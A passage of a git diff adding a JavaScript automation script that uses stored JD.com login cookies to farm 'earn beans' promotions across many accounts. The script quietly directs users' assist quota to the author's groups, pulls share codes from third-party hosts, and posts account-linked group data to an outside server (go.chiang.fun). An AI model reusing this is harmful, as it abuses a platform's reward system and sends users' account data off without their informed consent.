Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)}
\ No newline at end of file
diff --git a/Task/jd_syj.js b/Task/jd_syj.js
new file mode 100644
index 0000000..25b2535
--- /dev/null
+++ b/Task/jd_syj.js
@@ -0,0 +1,846 @@
+/*
+赚京豆脚本,一:做任务 天天领京豆(加速领京豆)、三:赚京豆-瓜分京豆
+Last Modified time: 2021-5-21 17:58:02
+活动入口:赚京豆(微信小程序)-赚京豆-签到领京豆
+更新地址:jd_syj.js
+已支持IOS双京东账号, Node.js支持N个京东账号
+脚本兼容: QuantumultX, Surge, Loon, 小火箭,JSBox, Node.js
+============Quantumultx===============
+[task_local]
+#赚京豆
+10 0,7,23 * * * jd_syj.js, tag=赚京豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_syj.png, enabled=true
+
+================Loon==============
+[Script]
+cron "10 0,7,23 * * *" script-path=jd_syj.js, tag=赚京豆
+
+===============Surge=================
+赚京豆 = type=cron,cronexp="10 0,7,23 * * *",wake-system=1,timeout=3600,script-path=jd_syj.js
+
+============小火箭=========
+赚京豆 = type=cron,script-path=jd_syj.js, cronexpr="10 0,7,23 * * *", timeout=3600, enable=true
+ */
+const $ = new Env('赚京豆');
+
+const notify = $.isNode() ? require('./sendNotify') : '';
+//Node.js用户请在jdCookie.js处填写京东ck;
+const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
+let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送
+const randomCount = $.isNode() ? 20 : 5;
+//IOS等用户直接用NobyDa的jd cookie
+let cookiesArr = [], cookie = '', message;
+$.tuanList = [];
+$.authorTuanList = [];
+if ($.isNode()) {
+ Object.keys(jdCookieNode).forEach((item) => {
+ cookiesArr.push(jdCookieNode[item])
+ })
+ if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
+ if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0);
+} else {
+ cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
+}
+const JD_API_HOST = 'https://api.m.jd.com/api';
+!(async () => {
+ if (!cookiesArr[0]) {
+ $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+ return;
+ }
+ await getAuthorShareCode('http://cdn.annnibb.me/jd_zz.json');
+ await getAuthorShareCode('https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_zz.json');
+ await getRandomCode();
+ for (let i = 0; i < cookiesArr.length; i++) {
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ $.index = i + 1;
+ $.isLogin = true;
+ $.nickName = '';
+ message = '';
+ await TotalBean();
+ console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+ if (!$.isLogin) {
+ $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+ if ($.isNode()) {
+ await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+ }
+ continue
+ }
+ await main();
+ }
+ }
+ console.log(`\n\n内部互助 【赚京豆(微信小程序)-瓜分京豆】活动(优先内部账号互助(需内部cookie数量大于${$.assistNum || 4}个),如有剩余助力次数则给作者和随机团助力)\n`)
+ for (let i = 0; i < cookiesArr.length; i++) {
+ $.canHelp = true
+ if (cookiesArr[i]) {
+ cookie = cookiesArr[i];
+ $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+ if ($.canHelp && (cookiesArr.length > $.assistNum)) {
+ if ($.tuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,优先内部账号互助`)
+ for (let j = 0; j < $.tuanList.length; ++j) {
+ console.log(`账号 ${$.UserName} 开始给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`)
+ await helpFriendTuan($.tuanList[j])
+ if(!$.canHelp) break
+ await $.wait(200)
+ }
+ }
+ if ($.canHelp) {
+ $.authorTuanList = [...$.authorTuanList, ...($.body1 || [])];
+ if ($.authorTuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动,如有剩余则给作者和随机团助力`)
+ for (let j = 0; j < $.authorTuanList.length; ++j) {
+ console.log(`账号 ${$.UserName} 开始给作者和随机团 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`)
+ await helpFriendTuan($.authorTuanList[j])
+ if(!$.canHelp) break
+ await $.wait(200)
+ }
+ }
+ }
+ }
+})()
+ .catch((e) => {
+ $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
+ })
+ .finally(() => {
+ $.done();
+ })
+
+function showMsg() {
+ return new Promise(resolve => {
+ if (message) $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`);
+ resolve()
+ })
+}
+async function main() {
+ try {
+ // await userSignIn();//赚京豆-签到领京豆
+ await vvipTask();//赚京豆-加速领京豆
+ await distributeBeanActivity();//赚京豆-瓜分京豆
+ await showMsg();
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+//================赚京豆-签到领京豆===================
+let signFlag = 0;
+function userSignIn() {
+ return new Promise(resolve => {
+ const body = {"activityId":"ccd8067defcd4787871b7f0c96fcbf5c","inviterId":"","channel":"MiniProgram"};
+ $.get(taskUrl('userSignIn', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data.code === 0) {
+ signFlag = 0;
+ console.log(`${$.name}今日签到成功`);
+ if (data.data) {
+ let { alreadySignDays, beanTotalNum, todayPrize, eachDayPrize } = data.data;
+ message += `【第${alreadySignDays}日签到】成功,获得${todayPrize.beanAmount}京豆 🐶\n`;
+ if (alreadySignDays === 7) alreadySignDays = 0;
+ message += `【明日签到】可获得${eachDayPrize[alreadySignDays].beanAmount}京豆 🐶\n`;
+ message += `【累计获得】${beanTotalNum}京豆 🐶`;
+ }
+ } else if (data.code === 81) {
+ console.log(`【签到】失败,今日已签到`)
+ // message += `【签到】失败,今日已签到`;
+ } else if (data.code === 6) {
+ //此处有时会遇到 服务器繁忙 导致签到失败,故重复三次签到
+ $.log(`${$.name}签到失败${signFlag}:${data.msg}`);
+ if (signFlag < 3) {
+ signFlag ++;
+ await userSignIn();
+ }
+ } else if (data.code === 66) {
+ //此处有时会遇到 服务器繁忙 导致签到失败,故重复三次签到
+ $.log(`${$.name}签到失败:${data.msg}`);
+ message += `【签到】失败,${data.msg}`;
+ } else {
+ console.log(`异常:${JSON.stringify(data)}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//================赚京豆-加速领京豆===================
+async function vvipTask() {
+ try {
+ $.vvipFlag = false;
+ $.rewardBeanNum = 0;
+ await vvipscdp_raffle_auto_send_bean();
+ await pg_channel_page_data();
+ if (!$.vvipFlag) return
+ await vviptask_receive_list();//做任务
+ await $.wait(1000)
+ await pg_channel_page_data();
+ } catch (e) {
+ $.logErr(e)
+ }
+}
+function pg_channel_page_data() {
+ return new Promise(resolve => {
+ const body = {"paramData": {"token": "3b9f3e0d-7a67-4be3-a05f-9b076cb8ed6a"}};
+ $.get(taskUrl('pg_channel_page_data', body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data['success']) {
+ if (data['data'] && data['data']['floorInfoList']) {
+ const floorInfo = data['data']['floorInfoList'].filter(vo => !!vo && vo['code'] === "SWAT_RED_PACKET_ACT_INFO")[0];
+ if (floorInfo.hasOwnProperty('token') && floorInfo['floorData'].hasOwnProperty('userActivityInfo')) {
+ $.token = floorInfo['token'];
+ const { activityExistFlag, redPacketOpenFlag, redPacketRewardTakeFlag, beanAmountTakeMinLimit, currActivityBeanAmount } = floorInfo['floorData']['userActivityInfo'];
+ if (activityExistFlag) {
+ if (!redPacketOpenFlag) {
+ console.log(`【做任务 天天领京豆】 活动未开启,现在去开启此活动\n`)
+ await openRedPacket($.token);
+ } else {
+ if (currActivityBeanAmount < beanAmountTakeMinLimit) $.vvipFlag = true;
+ if (redPacketRewardTakeFlag) {
+ console.log(`【做任务 天天领京豆】 ${beanAmountTakeMinLimit}京豆已领取`);
+ } else {
+ if (currActivityBeanAmount >= beanAmountTakeMinLimit) {
+ //领取200京豆
+ console.log(`【做任务 天天领京豆】 累计到${beanAmountTakeMinLimit}京豆可领取到京东账户\n【做任务 天天领京豆】当前进度:${currActivityBeanAmount}/${beanAmountTakeMinLimit}`)
+ console.log(`【做任务 天天领京豆】 当前已到领取京豆条件。开始领取京豆\n`);
+ await pg_interact_interface_invoke($.token);
+ } else {
+ console.log(`【做任务 天天领京豆】 累计到${beanAmountTakeMinLimit}京豆可领取到京东账户\n【做任务 天天领京豆】当前进度:${currActivityBeanAmount}/${beanAmountTakeMinLimit}`)
+ console.log(`【做任务 天天领京豆】 当前未达到领取京豆条件。开始做任务\n`);
+ await pg_channel_page_data();
+ }
+ }
+ }
+ } else {
+ console.log(`【做任务 天天领京豆】 活动已下线`)
+ }
+ }
+ }
+ } else {
+ console.log(`pg_channel_page_data: ${data.message}`)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//抽奖
+function vvipscdp_raffle_auto_send_bean() {
+ const body = {"channelCode": "swat_system_id"}
+ const options = {
+ url: `${JD_API_HOST}api?functionId=vvipscdp_raffle_auto_send_bean&body=${escape(JSON.stringify(body))}&appid=lottery_drew&t=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://lottery.m.jd.com/",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ return new Promise((resolve) => {
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data['success']) {
+ if (data.data && data.data['sendBeanAmount']) {
+ console.log(`【做任务 天天领京豆】 送成功:获得${data.data['sendBeanAmount']}京豆`)
+ $.rewardBeanNum += data.data['sendBeanAmount'];
+ }
+ } else {
+ console.log("【做任务 天天领京豆】 送京异常:" + data.message)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function vviptask_receive_list() {
+ $.taskData = [];
+ const body = {"channel":"SWAT_RED_PACKET","systemId":"19","withAutoAward":1}
+ const options = {
+ url: `${JD_API_HOST}?functionId=vviptask_receive_list&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ return new Promise((resolve) => {
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data['success']) {
+ $.taskData = data['data'].filter(vo => !!vo && vo['taskDataStatus'] !== 3);
+ for (let item of $.taskData) {
+ console.log(`\n领取 ${item['title']} 任务`)
+ await vviptask_receive_getone(item['id']);
+ await $.wait(1000);
+ console.log(`去完成 ${item['title']} 任务`)
+ await vviptask_reach_task(item['id']);
+ console.log(`领取 ${item['title']} 任务奖励\n`)
+ await vviptask_reward_receive(item['id']);
+ }
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//领取任务
+function vviptask_receive_getone(ids) {
+ const body = {"channel":"SWAT_RED_PACKET","systemId":"19",ids}
+ const options = {
+ url: `${JD_API_HOST}?functionId=vviptask_receive_getone&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ return new Promise((resolve) => {
+ $.post(options, async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//做任务
+function vviptask_reach_task(taskIdEncrypted) {
+ const body = {"channel":"SWAT_RED_PACKET","systemId":"19",taskIdEncrypted}
+ const options = {
+ url: `${JD_API_HOST}?functionId=vviptask_reach_task&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ return new Promise((resolve) => {
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ // console.log(`做任务任务:${data}`)
+ // if (safeGet(data)) {
+ // data = JSON.parse(data);
+ // if (data['success']) {
+ // $.taskData = data['data'];
+ // for (let item of $.taskData) {
+ //
+ // }
+ // }
+ // }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//领取做完任务后的奖励
+function vviptask_reward_receive(idEncKey) {
+ const body = {"channel":"SWAT_RED_PACKET","systemId":"19",idEncKey}
+ const options = {
+ url: `${JD_API_HOST}?functionId=vviptask_reward_receive&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ return new Promise((resolve) => {
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ // console.log(`做任务任务:${data}`)
+ // if (safeGet(data)) {
+ // data = JSON.parse(data);
+ // if (data['success']) {
+ // $.taskData = data['data'];
+ // for (let item of $.taskData) {
+ //
+ // }
+ // }
+ // }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//领取200京豆
+function pg_interact_interface_invoke(floorToken) {
+ const body = {floorToken, "dataSourceCode": "takeReward", "argMap": {}}
+ const options = {
+ url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ return new Promise((resolve) => {
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data['success']) {
+ console.log(`【做任务 天天领京豆】${data['data']['rewardBeanAmount']}京豆领取成功`);
+ $.rewardBeanNum += data['data']['rewardBeanAmount'];
+ message += `${message ? '\n' : ''}【做任务 天天领京豆】${$.rewardBeanNum}京豆`;
+ } else {
+ console.log(`【做任务 天天领京豆】${data.message}`);
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+function openRedPacket(floorToken) {
+ const body = {floorToken, "dataSourceCode": "openRedPacket", "argMap": {}}
+ const options = {
+ url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`,
+ headers: {
+ "Accept": "*/*",
+ "Accept-Encoding": "gzip, deflate, br",
+ "Accept-Language": "zh-cn",
+ "Connection": "keep-alive",
+ "Content-Type": "application/x-www-form-urlencoded",
+ "Host": "api.m.jd.com",
+ "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html",
+ "Cookie": cookie,
+ "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"),
+ }
+ }
+ return new Promise((resolve) => {
+ $.post(options, (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
+ if (safeGet(data)) {
+ data = JSON.parse(data);
+ if (data['success']) {
+ console.log(`活动开启成功,初始:${data.data && data.data['activityBeanInitAmount']}京豆`)
+ $.vvipFlag = true;
+ } else {
+ console.log(data.message)
+ }
+ }
+ }
+ } catch (e) {
+ $.logErr(e, resp)
+ } finally {
+ resolve();
+ }
+ })
+ })
+}
+//================赚京豆-加速领京豆===========END========
+//================赚京豆开团===========
+async function distributeBeanActivity() {
+ try {
+ $.tuan = ''
+ $.hasOpen = false;
+ $.assistStatus = 0;
+ await getUserTuanInfo()
+ if (!$.tuan && ($.assistStatus === 3 || $.assistStatus === 2 || $.assistStatus === 0) && $.canStartNewAssist) {
+ console.log(`准备再次开团`)
+ await openTuan()
+ if ($.hasOpen) await getUserTuanInfo()
+ }
+ if ($.tuan && $.tuan.hasOwnProperty('assistedPinEncrypted') && $.assistStatus !== 3) {
+ $.tuanList.push($.tuan);
+ const code = Object.assign($.tuan, {"time": Date.now()});
+ $.http.post({
+ url: `http://go.chiang.fun/autocommit`,
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ "act": "zuan", code }),
+ timeout: 30000
+ }).then((resp) => {
+ if (resp.statusCode === 200) {
+ try {
+ let { body } = resp;
+ body = JSON.parse(body);
+ if (body['code'] === 200) {
+ console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的【赚京豆-瓜分京豆】好友互助码提交成功\n`)
+ } else {
+ console.log(`【赚京豆-瓜分京豆】邀请码提交失败:${JSON.stringify(body)}\n`)
+ }
+ } catch (e) {
+ console.log(`【赚京豆-瓜分京豆】邀请码提交异常:${e}`)
+ }
+ }
+ }).catch((e) => console.log(`【赚京豆-瓜分京豆】邀请码提交异常:${e}`));
+ }
+ } catch (e) {
+ $.logErr(e);
+ }
+}
+function helpFriendTuan(body) {
+ return new Promise(resolve => {
+ const data = {
+ "activityIdEncrypted": body['activityIdEncrypted'],
+ "assistStartRecordId": body['assistStartRecordId'],
+ "channel": body['channel'],
+ }
+ delete body['time'];
+ $.get(taskTuanUrl("vvipclub_distributeBean_assist", body), async (err, resp, data) => {
+ try {
+ if (err) {
+ console.log(`${JSON.stringify(err)}`)
+ console.log(`${$.name} API请求失败,请检查网路重试`)
+ } else {
